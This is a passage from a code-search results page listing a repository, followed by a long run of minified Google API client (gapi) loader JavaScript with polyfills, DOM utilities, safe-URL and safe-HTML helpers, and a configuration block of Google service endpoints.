Found 63 repositories(showing 30)
dh-orko
/* JS */ gapi.loaded_0(function(_){var window=this; var ha,ia,ja,ma,sa,na,ta,ya,Ja;_.ea=function(a){return function(){return _.da[a].apply(this,arguments)}};_._DumpException=function(a){throw a;};_.da=[];ha="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){a!=Array.prototype&&a!=Object.prototype&&(a[b]=c.value)};ia="undefined"!=typeof window&&window===this?this:"undefined"!=typeof window.global&&null!=window.global?window.global:this;ja=function(){ja=function(){};ia.Symbol||(ia.Symbol=ma)}; ma=function(){var a=0;return function(b){return"jscomp_symbol_"+(b||"")+a++}}();sa=function(){ja();var a=ia.Symbol.iterator;a||(a=ia.Symbol.iterator=ia.Symbol("iterator"));"function"!=typeof Array.prototype[a]&&ha(Array.prototype,a,{configurable:!0,writable:!0,value:function(){return na(this)}});sa=function(){}};na=function(a){var b=0;return ta(function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}})};ta=function(a){sa();a={next:a};a[ia.Symbol.iterator]=function(){return this};return a}; _.wa=function(a){sa();var b=a[window.Symbol.iterator];return b?b.call(a):na(a)};_.xa="function"==typeof Object.create?Object.create:function(a){var b=function(){};b.prototype=a;return new b};if("function"==typeof Object.setPrototypeOf)ya=Object.setPrototypeOf;else{var Ba;a:{var Ca={a:!0},Da={};try{Da.__proto__=Ca;Ba=Da.a;break a}catch(a){}Ba=!1}ya=Ba?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+" is not extensible");return a}:null}_.Fa=ya; Ja=function(a,b){if(b){var c=ia;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];e in c||(c[e]={});c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ha(c,a,{configurable:!0,writable:!0,value:b})}};Ja("Array.prototype.find",function(a){return a?a:function(a,c){a:{var b=this;b instanceof String&&(b=String(b));for(var e=b.length,f=0;f<e;f++){var h=b[f];if(a.call(c,h,f,b)){a=h;break a}}a=void 0}return a}});var Ka=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)}; Ja("WeakMap",function(a){function b(a){Ka(a,d)||ha(a,d,{value:{}})}function c(a){var c=Object[a];c&&(Object[a]=function(a){b(a);return c(a)})}if(function(){if(!a||!Object.seal)return!1;try{var b=Object.seal({}),c=Object.seal({}),d=new a([[b,2],[c,3]]);if(2!=d.get(b)||3!=d.get(c))return!1;d["delete"](b);d.set(c,4);return!d.has(b)&&4==d.get(c)}catch(n){return!1}}())return a;var d="$jscomp_hidden_"+Math.random();c("freeze");c("preventExtensions");c("seal");var e=0,f=function(a){this.Aa=(e+=Math.random()+ 1).toString();if(a){ja();sa();a=_.wa(a);for(var b;!(b=a.next()).done;)b=b.value,this.set(b[0],b[1])}};f.prototype.set=function(a,c){b(a);if(!Ka(a,d))throw Error("a`"+a);a[d][this.Aa]=c;return this};f.prototype.get=function(a){return Ka(a,d)?a[d][this.Aa]:void 0};f.prototype.has=function(a){return Ka(a,d)&&Ka(a[d],this.Aa)};f.prototype["delete"]=function(a){return Ka(a,d)&&Ka(a[d],this.Aa)?delete a[d][this.Aa]:!1};return f}); Ja("Map",function(a){if(function(){if(!a||"function"!=typeof a||!a.prototype.entries||"function"!=typeof Object.seal)return!1;try{var b=Object.seal({x:4}),c=new a(_.wa([[b,"s"]]));if("s"!=c.get(b)||1!=c.size||c.get({x:4})||c.set({x:4},"t")!=c||2!=c.size)return!1;var d=c.entries(),e=d.next();if(e.done||e.value[0]!=b||"s"!=e.value[1])return!1;e=d.next();return e.done||4!=e.value[0].x||"t"!=e.value[1]||!d.next().done?!1:!0}catch(q){return!1}}())return a;ja();sa();var b=new window.WeakMap,c=function(a){this.lf= {};this.Pe=f();this.size=0;if(a){a=_.wa(a);for(var b;!(b=a.next()).done;)b=b.value,this.set(b[0],b[1])}};c.prototype.set=function(a,b){var c=d(this,a);c.list||(c.list=this.lf[c.id]=[]);c.ke?c.ke.value=b:(c.ke={next:this.Pe,Pi:this.Pe.Pi,head:this.Pe,key:a,value:b},c.list.push(c.ke),this.Pe.Pi.next=c.ke,this.Pe.Pi=c.ke,this.size++);return this};c.prototype["delete"]=function(a){a=d(this,a);return a.ke&&a.list?(a.list.splice(a.index,1),a.list.length||delete this.lf[a.id],a.ke.Pi.next=a.ke.next,a.ke.next.Pi= a.ke.Pi,a.ke.head=null,this.size--,!0):!1};c.prototype.clear=function(){this.lf={};this.Pe=this.Pe.Pi=f();this.size=0};c.prototype.has=function(a){return!!d(this,a).ke};c.prototype.get=function(a){return(a=d(this,a).ke)&&a.value};c.prototype.entries=function(){return e(this,function(a){return[a.key,a.value]})};c.prototype.keys=function(){return e(this,function(a){return a.key})};c.prototype.values=function(){return e(this,function(a){return a.value})};c.prototype.forEach=function(a,b){for(var c=this.entries(), d;!(d=c.next()).done;)d=d.value,a.call(b,d[1],d[0],this)};c.prototype[window.Symbol.iterator]=c.prototype.entries;var d=function(a,c){var d=c&&typeof c;"object"==d||"function"==d?b.has(c)?d=b.get(c):(d=""+ ++h,b.set(c,d)):d="p_"+c;var e=a.lf[d];if(e&&Ka(a.lf,d))for(a=0;a<e.length;a++){var f=e[a];if(c!==c&&f.key!==f.key||c===f.key)return{id:d,list:e,index:a,ke:f}}return{id:d,list:e,index:-1,ke:void 0}},e=function(a,b){var c=a.Pe;return ta(function(){if(c){for(;c.head!=a.Pe;)c=c.Pi;for(;c.next!=c.head;)return c= c.next,{done:!1,value:b(c)};c=null}return{done:!0,value:void 0}})},f=function(){var a={};return a.Pi=a.next=a.head=a},h=0;return c}); Ja("Set",function(a){if(function(){if(!a||"function"!=typeof a||!a.prototype.entries||"function"!=typeof Object.seal)return!1;try{var b=Object.seal({x:4}),d=new a(_.wa([b]));if(!d.has(b)||1!=d.size||d.add(b)!=d||1!=d.size||d.add({x:4})!=d||2!=d.size)return!1;var e=d.entries(),f=e.next();if(f.done||f.value[0]!=b||f.value[1]!=b)return!1;f=e.next();return f.done||f.value[0]==b||4!=f.value[0].x||f.value[1]!=f.value[0]?!1:e.next().done}catch(h){return!1}}())return a;ja();sa();var b=function(a){this.V= new window.Map;if(a){a=_.wa(a);for(var b;!(b=a.next()).done;)this.add(b.value)}this.size=this.V.size};b.prototype.add=function(a){this.V.set(a,a);this.size=this.V.size;return this};b.prototype["delete"]=function(a){a=this.V["delete"](a);this.size=this.V.size;return a};b.prototype.clear=function(){this.V.clear();this.size=0};b.prototype.has=function(a){return this.V.has(a)};b.prototype.entries=function(){return this.V.entries()};b.prototype.values=function(){return this.V.values()};b.prototype.keys= b.prototype.values;b.prototype[window.Symbol.iterator]=b.prototype.values;b.prototype.forEach=function(a,b){var c=this;this.V.forEach(function(d){return a.call(b,d,d,c)})};return b});_.La=_.La||{};_.m=this;_.r=function(a){return void 0!==a};_.u=function(a){return"string"==typeof a}; _.Ma=function(a){var b=typeof a;if("object"==b)if(a){if(a instanceof Array)return"array";if(a instanceof Object)return b;var c=Object.prototype.toString.call(a);if("[object Window]"==c)return"object";if("[object Array]"==c||"number"==typeof a.length&&"undefined"!=typeof a.splice&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("splice"))return"array";if("[object Function]"==c||"undefined"!=typeof a.call&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("call"))return"function"}else return"null"; else if("function"==b&&"undefined"==typeof a.call)return"object";return b};_.Oa=function(a){return"array"==_.Ma(a)};_.Pa="closure_uid_"+(1E9*Math.random()>>>0);_.Qa=Date.now||function(){return+new Date};_.w=function(a,b){a=a.split(".");var c=_.m;a[0]in c||!c.execScript||c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)!a.length&&_.r(b)?c[d]=b:c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}}; _.z=function(a,b){function c(){}c.prototype=b.prototype;a.H=b.prototype;a.prototype=new c;a.prototype.constructor=a;a.ep=function(a,c,f){for(var d=Array(arguments.length-2),e=2;e<arguments.length;e++)d[e-2]=arguments[e];return b.prototype[c].apply(a,d)}}; _.Ta=window.osapi=window.osapi||{}; window.___jsl=window.___jsl||{}; (window.___jsl.cd=window.___jsl.cd||[]).push({gwidget:{parsetags:"explicit"},appsapi:{plus_one_service:"/plus/v1"},csi:{rate:.01},poshare:{hangoutContactPickerServer:"https://plus.google.com"},gappsutil:{required_scopes:["https://www.googleapis.com/auth/plus.me","https://www.googleapis.com/auth/plus.people.recommended"],display_on_page_ready:!1},appsutil:{required_scopes:["https://www.googleapis.com/auth/plus.me","https://www.googleapis.com/auth/plus.people.recommended"],display_on_page_ready:!1}, "oauth-flow":{authUrl:"https://accounts.google.com/o/oauth2/auth",proxyUrl:"https://accounts.google.com/o/oauth2/postmessageRelay",redirectUri:"postmessage",loggingUrl:"https://accounts.google.com/o/oauth2/client_log"},iframes:{sharebox:{params:{json:"&"},url:":socialhost:/:session_prefix:_/sharebox/dialog"},plus:{url:":socialhost:/:session_prefix:_/widget/render/badge?usegapi=1"},":socialhost:":"https://apis.google.com",":im_socialhost:":"https://plus.googleapis.com",domains_suggest:{url:"https://domains.google.com/suggest/flow"}, card:{params:{s:"#",userid:"&"},url:":socialhost:/:session_prefix:_/hovercard/internalcard"},":signuphost:":"https://plus.google.com",":gplus_url:":"https://plus.google.com",plusone:{url:":socialhost:/:session_prefix:_/+1/fastbutton?usegapi=1"},plus_share:{url:":socialhost:/:session_prefix:_/+1/sharebutton?plusShare=true&usegapi=1"},plus_circle:{url:":socialhost:/:session_prefix:_/widget/plus/circle?usegapi=1"},plus_followers:{url:":socialhost:/_/im/_/widget/render/plus/followers?usegapi=1"},configurator:{url:":socialhost:/:session_prefix:_/plusbuttonconfigurator?usegapi=1"}, appcirclepicker:{url:":socialhost:/:session_prefix:_/widget/render/appcirclepicker"},page:{url:":socialhost:/:session_prefix:_/widget/render/page?usegapi=1"},person:{url:":socialhost:/:session_prefix:_/widget/render/person?usegapi=1"},community:{url:":ctx_socialhost:/:session_prefix::im_prefix:_/widget/render/community?usegapi=1"},follow:{url:":socialhost:/:session_prefix:_/widget/render/follow?usegapi=1"},commentcount:{url:":socialhost:/:session_prefix:_/widget/render/commentcount?usegapi=1"},comments:{url:":socialhost:/:session_prefix:_/widget/render/comments?usegapi=1"}, youtube:{url:":socialhost:/:session_prefix:_/widget/render/youtube?usegapi=1"},reportabuse:{url:":socialhost:/:session_prefix:_/widget/render/reportabuse?usegapi=1"},additnow:{url:":socialhost:/additnow/additnow.html"},udc_webconsentflow:{url:"https://myaccount.google.com/webconsent?usegapi=1"},appfinder:{url:"https://gsuite.google.com/:session_prefix:marketplace/appfinder?usegapi=1"},":source:":"1p"},poclient:{update_session:"google.updateSessionCallback"},"googleapis.config":{methods:{"pos.plusones.list":!0, "pos.plusones.get":!0,"pos.plusones.insert":!0,"pos.plusones.delete":!0,"pos.plusones.getSignupState":!0},versions:{pos:"v1"},rpc:"/rpc",root:"https://content.googleapis.com","root-1p":"https://clients6.google.com",useGapiForXd3:!0,xd3:"/static/proxy.html",developerKey:"AIzaSyCKSbrvQasunBoV16zDH9R33D88CeLr9gQ",auth:{useInterimAuth:!1}},report:{apis:["iframes\\..*","gadgets\\..*","gapi\\.appcirclepicker\\..*","gapi\\.client\\..*"],rate:1E-4},client:{perApiBatch:!0}}); var Za,eb,fb;_.Ua=function(a){return"number"==typeof a};_.Va=function(){};_.Wa=function(a){var b=_.Ma(a);return"array"==b||"object"==b&&"number"==typeof a.length};_.Xa=function(a){return"function"==_.Ma(a)};_.Ya=function(a){var b=typeof a;return"object"==b&&null!=a||"function"==b};Za=0;_.bb=function(a){return a[_.Pa]||(a[_.Pa]=++Za)};eb=function(a,b,c){return a.call.apply(a.bind,arguments)}; fb=function(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var c=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(c,d);return a.apply(b,c)}}return function(){return a.apply(b,arguments)}};_.A=function(a,b,c){_.A=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?eb:fb;return _.A.apply(null,arguments)}; _.ib=Array.prototype.indexOf?function(a,b){return Array.prototype.indexOf.call(a,b,void 0)}:function(a,b){if(_.u(a))return _.u(b)&&1==b.length?a.indexOf(b,0):-1;for(var c=0;c<a.length;c++)if(c in a&&a[c]===b)return c;return-1};_.jb=Array.prototype.lastIndexOf?function(a,b){return Array.prototype.lastIndexOf.call(a,b,a.length-1)}:function(a,b){var c=a.length-1;0>c&&(c=Math.max(0,a.length+c));if(_.u(a))return _.u(b)&&1==b.length?a.lastIndexOf(b,c):-1;for(;0<=c;c--)if(c in a&&a[c]===b)return c;return-1}; _.lb=Array.prototype.forEach?function(a,b,c){Array.prototype.forEach.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=_.u(a)?a.split(""):a,f=0;f<d;f++)f in e&&b.call(c,e[f],f,a)};_.mb=Array.prototype.filter?function(a,b){return Array.prototype.filter.call(a,b,void 0)}:function(a,b){for(var c=a.length,d=[],e=0,f=_.u(a)?a.split(""):a,h=0;h<c;h++)if(h in f){var k=f[h];b.call(void 0,k,h,a)&&(d[e++]=k)}return d}; _.nb=Array.prototype.map?function(a,b){return Array.prototype.map.call(a,b,void 0)}:function(a,b){for(var c=a.length,d=Array(c),e=_.u(a)?a.split(""):a,f=0;f<c;f++)f in e&&(d[f]=b.call(void 0,e[f],f,a));return d};_.ob=Array.prototype.some?function(a,b,c){return Array.prototype.some.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=_.u(a)?a.split(""):a,f=0;f<d;f++)if(f in e&&b.call(c,e[f],f,a))return!0;return!1}; _.qb=Array.prototype.every?function(a,b,c){return Array.prototype.every.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=_.u(a)?a.split(""):a,f=0;f<d;f++)if(f in e&&!b.call(c,e[f],f,a))return!1;return!0};_.rb=function(a,b){return 0<=(0,_.ib)(a,b)}; var vb;_.sb=function(a){return/^[\s\xa0]*$/.test(a)};_.tb=String.prototype.trim?function(a){return a.trim()}:function(a){return/^[\s\xa0]*([\s\S]*?)[\s\xa0]*$/.exec(a)[1]};_.ub=String.prototype.repeat?function(a,b){return a.repeat(b)}:function(a,b){return Array(b+1).join(a)}; _.xb=function(a,b){var c=0;a=(0,_.tb)(String(a)).split(".");b=(0,_.tb)(String(b)).split(".");for(var d=Math.max(a.length,b.length),e=0;0==c&&e<d;e++){var f=a[e]||"",h=b[e]||"";do{f=/(\d*)(\D*)(.*)/.exec(f)||["","","",""];h=/(\d*)(\D*)(.*)/.exec(h)||["","","",""];if(0==f[0].length&&0==h[0].length)break;c=vb(0==f[1].length?0:(0,window.parseInt)(f[1],10),0==h[1].length?0:(0,window.parseInt)(h[1],10))||vb(0==f[2].length,0==h[2].length)||vb(f[2],h[2]);f=f[3];h=h[3]}while(0==c)}return c}; vb=function(a,b){return a<b?-1:a>b?1:0};_.yb=2147483648*Math.random()|0; a:{var Bb=_.m.navigator;if(Bb){var Cb=Bb.userAgent;if(Cb){_.Ab=Cb;break a}}_.Ab=""}_.Db=function(a){return-1!=_.Ab.indexOf(a)};var Fb;_.Eb=function(a,b,c){for(var d in a)b.call(c,a[d],d,a)};Fb="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" ");_.Gb=function(a,b){for(var c,d,e=1;e<arguments.length;e++){d=arguments[e];for(c in d)a[c]=d[c];for(var f=0;f<Fb.length;f++)c=Fb[f],Object.prototype.hasOwnProperty.call(d,c)&&(a[c]=d[c])}}; _.Hb=function(){return _.Db("Opera")};_.Ib=function(){return _.Db("Trident")||_.Db("MSIE")};_.Lb=function(){return _.Db("iPhone")&&!_.Db("iPod")&&!_.Db("iPad")};_.Mb=function(){return _.Lb()||_.Db("iPad")||_.Db("iPod")};var Nb=function(a){Nb[" "](a);return a},Sb;Nb[" "]=_.Va;_.Qb=function(a,b){try{return Nb(a[b]),!0}catch(c){}return!1};Sb=function(a,b){var c=Rb;return Object.prototype.hasOwnProperty.call(c,a)?c[a]:c[a]=b(a)};var gc,hc,Rb,pc;_.Tb=_.Hb();_.C=_.Ib();_.Ub=_.Db("Edge");_.Vb=_.Ub||_.C;_.Wb=_.Db("Gecko")&&!(-1!=_.Ab.toLowerCase().indexOf("webkit")&&!_.Db("Edge"))&&!(_.Db("Trident")||_.Db("MSIE"))&&!_.Db("Edge");_.Xb=-1!=_.Ab.toLowerCase().indexOf("webkit")&&!_.Db("Edge");_.Yb=_.Xb&&_.Db("Mobile");_.Zb=_.Db("Macintosh");_.$b=_.Db("Windows");_.ac=_.Db("Linux")||_.Db("CrOS");_.bc=_.Db("Android");_.cc=_.Lb();_.dc=_.Db("iPad");_.ec=_.Db("iPod");_.fc=_.Mb(); gc=function(){var a=_.m.document;return a?a.documentMode:void 0};a:{var ic="",jc=function(){var a=_.Ab;if(_.Wb)return/rv:([^\);]+)(\)|;)/.exec(a);if(_.Ub)return/Edge\/([\d\.]+)/.exec(a);if(_.C)return/\b(?:MSIE|rv)[: ]([^\);]+)(\)|;)/.exec(a);if(_.Xb)return/WebKit\/(\S+)/.exec(a);if(_.Tb)return/(?:Version)[ \/]?(\S+)/.exec(a)}();jc&&(ic=jc?jc[1]:"");if(_.C){var kc=gc();if(null!=kc&&kc>(0,window.parseFloat)(ic)){hc=String(kc);break a}}hc=ic}_.lc=hc;Rb={}; _.mc=function(a){return Sb(a,function(){return 0<=_.xb(_.lc,a)})};_.oc=function(a){return Number(_.nc)>=a};var qc=_.m.document;pc=qc&&_.C?gc()||("CSS1Compat"==qc.compatMode?(0,window.parseInt)(_.lc,10):5):void 0;_.nc=pc; var sc,wc,xc,yc,zc,Ac,Bc,Cc;_.rc=function(a,b){return _.da[a]=b};_.tc=function(a){return Array.prototype.concat.apply([],arguments)};_.uc=function(a){var b=a.length;if(0<b){for(var c=Array(b),d=0;d<b;d++)c[d]=a[d];return c}return[]};_.vc=function(a,b){return 0==a.lastIndexOf(b,0)};wc=/&/g;xc=/</g;yc=/>/g;zc=/"/g;Ac=/'/g;Bc=/\x00/g;Cc=/[\x00&<>"']/; _.Dc=function(a){if(!Cc.test(a))return a;-1!=a.indexOf("&")&&(a=a.replace(wc,"&"));-1!=a.indexOf("<")&&(a=a.replace(xc,"<"));-1!=a.indexOf(">")&&(a=a.replace(yc,">"));-1!=a.indexOf('"')&&(a=a.replace(zc,"""));-1!=a.indexOf("'")&&(a=a.replace(Ac,"'"));-1!=a.indexOf("\x00")&&(a=a.replace(Bc,"�"));return a};_.Fc=function(a){return String(a).replace(/\-([a-z])/g,function(a,c){return c.toUpperCase()})};_.Gc=function(a,b){for(var c in a)if(a[c]==b)return!0;return!1}; var Hc,Ic;Hc=!_.C||_.oc(9);Ic=!_.Wb&&!_.C||_.C&&_.oc(9)||_.Wb&&_.mc("1.9.1");_.Jc=_.C&&!_.mc("9");_.Kc=_.C||_.Tb||_.Xb;_.Lc=_.C&&!_.oc(9);var Mc;_.Nc=function(){this.uw="";this.bP=Mc};_.Nc.prototype.Ch=!0;_.Nc.prototype.dg=function(){return this.uw};_.Nc.prototype.toString=function(){return"Const{"+this.uw+"}"};_.Oc=function(a){return a instanceof _.Nc&&a.constructor===_.Nc&&a.bP===Mc?a.uw:"type_error:Const"};Mc={};_.Pc=function(a){var b=new _.Nc;b.uw=a;return b};_.Pc(""); var Qc;_.Rc=function(){this.bC="";this.lP=Qc};_.Rc.prototype.Ch=!0;_.Rc.prototype.dg=function(){return this.bC};_.Rc.prototype.GA=!0;_.Rc.prototype.kl=function(){return 1};_.Sc=function(a){if(a instanceof _.Rc&&a.constructor===_.Rc&&a.lP===Qc)return a.bC;_.Ma(a);return"type_error:TrustedResourceUrl"};_.Uc=function(a){return _.Tc(_.Oc(a))};Qc={};_.Tc=function(a){var b=new _.Rc;b.bC=a;return b}; var Yc,Vc,Zc;_.Wc=function(){this.Zl="";this.VO=Vc};_.Wc.prototype.Ch=!0;_.Wc.prototype.dg=function(){return this.Zl};_.Wc.prototype.GA=!0;_.Wc.prototype.kl=function(){return 1};_.Xc=function(a){if(a instanceof _.Wc&&a.constructor===_.Wc&&a.VO===Vc)return a.Zl;_.Ma(a);return"type_error:SafeUrl"};Yc=/^(?:(?:https?|mailto|ftp):|[^:/?#]*(?:[/?#]|$))/i;_.$c=function(a){if(a instanceof _.Wc)return a;a=a.Ch?a.dg():String(a);Yc.test(a)||(a="about:invalid#zClosurez");return Zc(a)}; _.ad=function(a){if(a instanceof _.Wc)return a;a=a.Ch?a.dg():String(a);Yc.test(a)||(a="about:invalid#zClosurez");return Zc(a)};Vc={};Zc=function(a){var b=new _.Wc;b.Zl=a;return b};Zc("about:blank"); _.dd=function(){this.aC="";this.UO=_.bd};_.dd.prototype.Ch=!0;_.bd={};_.dd.prototype.dg=function(){return this.aC};_.dd.prototype.Bi=function(a){this.aC=a;return this};_.ed=(new _.dd).Bi("");_.gd=function(){this.$B="";this.TO=_.fd};_.gd.prototype.Ch=!0;_.fd={};_.id=function(a){a=_.Oc(a);return 0===a.length?hd:(new _.gd).Bi(a)};_.gd.prototype.dg=function(){return this.$B};_.gd.prototype.Bi=function(a){this.$B=a;return this};var hd=(new _.gd).Bi(""); var jd;_.kd=function(){this.Zl="";this.SO=jd;this.qG=null};_.kd.prototype.GA=!0;_.kd.prototype.kl=function(){return this.qG};_.kd.prototype.Ch=!0;_.kd.prototype.dg=function(){return this.Zl};_.ld=function(a){if(a instanceof _.kd&&a.constructor===_.kd&&a.SO===jd)return a.Zl;_.Ma(a);return"type_error:SafeHtml"};jd={};_.nd=function(a,b){return(new _.kd).Bi(a,b)};_.kd.prototype.Bi=function(a,b){this.Zl=a;this.qG=b;return this};_.nd("<!DOCTYPE html>",0);_.od=_.nd("",0);_.pd=_.nd("<br>",0); _.qd=function(a,b){b=b instanceof _.Wc?b:_.ad(b);a.href=_.Xc(b)};var wd,yd,Ad;_.td=function(a){return a?new _.rd(_.sd(a)):sc||(sc=new _.rd)};_.ud=function(a,b){return _.u(b)?a.getElementById(b):b}; _.vd=function(a,b,c,d){a=d||a;b=b&&"*"!=b?String(b).toUpperCase():"";if(a.querySelectorAll&&a.querySelector&&(b||c))return a.querySelectorAll(b+(c?"."+c:""));if(c&&a.getElementsByClassName){a=a.getElementsByClassName(c);if(b){d={};for(var e=0,f=0,h;h=a[f];f++)b==h.nodeName&&(d[e++]=h);d.length=e;return d}return a}a=a.getElementsByTagName(b||"*");if(c){d={};for(f=e=0;h=a[f];f++)b=h.className,"function"==typeof b.split&&_.rb(b.split(/\s+/),c)&&(d[e++]=h);d.length=e;return d}return a}; _.xd=function(a,b){_.Eb(b,function(b,d){b&&b.Ch&&(b=b.dg());"style"==d?a.style.cssText=b:"class"==d?a.className=b:"for"==d?a.htmlFor=b:wd.hasOwnProperty(d)?a.setAttribute(wd[d],b):_.vc(d,"aria-")||_.vc(d,"data-")?a.setAttribute(d,b):a[d]=b})};wd={cellpadding:"cellPadding",cellspacing:"cellSpacing",colspan:"colSpan",frameborder:"frameBorder",height:"height",maxlength:"maxLength",nonce:"nonce",role:"role",rowspan:"rowSpan",type:"type",usemap:"useMap",valign:"vAlign",width:"width"}; _.zd=function(a,b){var c=String(b[0]),d=b[1];if(!Hc&&d&&(d.name||d.type)){c=["<",c];d.name&&c.push(' name="',_.Dc(d.name),'"');if(d.type){c.push(' type="',_.Dc(d.type),'"');var e={};_.Gb(e,d);delete e.type;d=e}c.push(">");c=c.join("")}c=a.createElement(c);d&&(_.u(d)?c.className=d:_.Oa(d)?c.className=d.join(" "):_.xd(c,d));2<b.length&&yd(a,c,b,2);return c}; yd=function(a,b,c,d){function e(c){c&&b.appendChild(_.u(c)?a.createTextNode(c):c)}for(;d<c.length;d++){var f=c[d];!_.Wa(f)||_.Ya(f)&&0<f.nodeType?e(f):(0,_.lb)(Ad(f)?_.uc(f):f,e)}};_.Bd=function(a){return window.document.createElement(String(a))};_.Dd=function(a){if(1!=a.nodeType)return!1;switch(a.tagName){case "APPLET":case "AREA":case "BASE":case "BR":case "COL":case "COMMAND":case "EMBED":case "FRAME":case "HR":case "IMG":case "INPUT":case "IFRAME":case "ISINDEX":case "KEYGEN":case "LINK":case "NOFRAMES":case "NOSCRIPT":case "META":case "OBJECT":case "PARAM":case "SCRIPT":case "SOURCE":case "STYLE":case "TRACK":case "WBR":return!1}return!0}; _.Ed=function(a,b){yd(_.sd(a),a,arguments,1)};_.Fd=function(a){for(var b;b=a.firstChild;)a.removeChild(b)};_.Gd=function(a,b){b.parentNode&&b.parentNode.insertBefore(a,b)};_.Hd=function(a){return a&&a.parentNode?a.parentNode.removeChild(a):null};_.Id=function(a){var b,c=a.parentNode;if(c&&11!=c.nodeType){if(a.removeNode)return a.removeNode(!1);for(;b=a.firstChild;)c.insertBefore(b,a);return _.Hd(a)}}; _.Jd=function(a){return Ic&&void 0!=a.children?a.children:(0,_.mb)(a.childNodes,function(a){return 1==a.nodeType})};_.Kd=function(a){return _.Ya(a)&&1==a.nodeType};_.Ld=function(a,b){if(!a||!b)return!1;if(a.contains&&1==b.nodeType)return a==b||a.contains(b);if("undefined"!=typeof a.compareDocumentPosition)return a==b||!!(a.compareDocumentPosition(b)&16);for(;b&&a!=b;)b=b.parentNode;return b==a};_.sd=function(a){return 9==a.nodeType?a:a.ownerDocument||a.document}; _.Md=function(a,b){if("textContent"in a)a.textContent=b;else if(3==a.nodeType)a.data=String(b);else if(a.firstChild&&3==a.firstChild.nodeType){for(;a.lastChild!=a.firstChild;)a.removeChild(a.lastChild);a.firstChild.data=String(b)}else _.Fd(a),a.appendChild(_.sd(a).createTextNode(String(b)))};Ad=function(a){if(a&&"number"==typeof a.length){if(_.Ya(a))return"function"==typeof a.item||"string"==typeof a.item;if(_.Xa(a))return"function"==typeof a.item}return!1}; _.rd=function(a){this.Va=a||_.m.document||window.document};_.g=_.rd.prototype;_.g.Ea=_.td;_.g.RC=_.ea(0);_.g.mb=function(){return this.Va};_.g.S=function(a){return _.ud(this.Va,a)};_.g.getElementsByTagName=function(a,b){return(b||this.Va).getElementsByTagName(String(a))};_.g.ma=function(a,b,c){return _.zd(this.Va,arguments)};_.g.createElement=function(a){return this.Va.createElement(String(a))};_.g.createTextNode=function(a){return this.Va.createTextNode(String(a))}; _.g.vb=function(){var a=this.Va;return a.parentWindow||a.defaultView};_.g.appendChild=function(a,b){a.appendChild(b)};_.g.append=_.Ed;_.g.canHaveChildren=_.Dd;_.g.xe=_.Fd;_.g.GI=_.Gd;_.g.removeNode=_.Hd;_.g.qR=_.Id;_.g.xz=_.Jd;_.g.isElement=_.Kd;_.g.contains=_.Ld;_.g.Eh=_.ea(1); /* gapi.loader.OBJECT_CREATE_TEST_OVERRIDE &&*/ _.Nd=window;_.Qd=window.document;_.Rd=_.Nd.location;_.Sd=/\[native code\]/;_.Td=function(a,b,c){return a[b]=a[b]||c};_.D=function(){var a;if((a=Object.create)&&_.Sd.test(a))a=a(null);else{a={};for(var b in a)a[b]=void 0}return a};_.Ud=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};_.Vd=function(a,b){a=a||{};for(var c in a)_.Ud(a,c)&&(b[c]=a[c])};_.Wd=_.Td(_.Nd,"gapi",{}); _.Xd=function(a,b,c){var d=new RegExp("([#].*&|[#])"+b+"=([^&#]*)","g");b=new RegExp("([?#].*&|[?#])"+b+"=([^&#]*)","g");if(a=a&&(d.exec(a)||b.exec(a)))try{c=(0,window.decodeURIComponent)(a[2])}catch(e){}return c};_.Yd=new RegExp(/^/.source+/([a-zA-Z][-+.a-zA-Z0-9]*:)?/.source+/(\/\/[^\/?#]*)?/.source+/([^?#]*)?/.source+/(\?([^#]*))?/.source+/(#((#|[^#])*))?/.source+/$/.source); _.Zd=new RegExp(/(%([^0-9a-fA-F%]|[0-9a-fA-F]([^0-9a-fA-F%])?)?)*/.source+/%($|[^0-9a-fA-F]|[0-9a-fA-F]($|[^0-9a-fA-F]))/.source,"g");_.$d=new RegExp(/\/?\??#?/.source+"("+/[\/?#]/i.source+"|"+/[\uD800-\uDBFF]/i.source+"|"+/%[c-f][0-9a-f](%[89ab][0-9a-f]){0,2}(%[89ab]?)?/i.source+"|"+/%[0-9a-f]?/i.source+")$","i"); _.be=function(a,b,c){_.ae(a,b,c,"add","at")};_.ae=function(a,b,c,d,e){if(a[d+"EventListener"])a[d+"EventListener"](b,c,!1);else if(a[e+"tachEvent"])a[e+"tachEvent"]("on"+b,c)};_.ce=_.Td(_.Nd,"___jsl",_.D());_.Td(_.ce,"I",0);_.Td(_.ce,"hel",10);var ee,fe,ge,he,ie,je,ke;ee=function(a){var b=window.___jsl=window.___jsl||{};b[a]=b[a]||[];return b[a]};fe=function(a){var b=window.___jsl=window.___jsl||{};b.cfg=!a&&b.cfg||{};return b.cfg};ge=function(a){return"object"===typeof a&&/\[native code\]/.test(a.push)}; he=function(a,b,c){if(b&&"object"===typeof b)for(var d in b)!Object.prototype.hasOwnProperty.call(b,d)||c&&"___goc"===d&&"undefined"===typeof b[d]||(a[d]&&b[d]&&"object"===typeof a[d]&&"object"===typeof b[d]&&!ge(a[d])&&!ge(b[d])?he(a[d],b[d]):b[d]&&"object"===typeof b[d]?(a[d]=ge(b[d])?[]:{},he(a[d],b[d])):a[d]=b[d])}; ie=function(a){if(a&&!/^\s+$/.test(a)){for(;0==a.charCodeAt(a.length-1);)a=a.substring(0,a.length-1);try{var b=window.JSON.parse(a)}catch(c){}if("object"===typeof b)return b;try{b=(new Function("return ("+a+"\n)"))()}catch(c){}if("object"===typeof b)return b;try{b=(new Function("return ({"+a+"\n})"))()}catch(c){}return"object"===typeof b?b:{}}}; 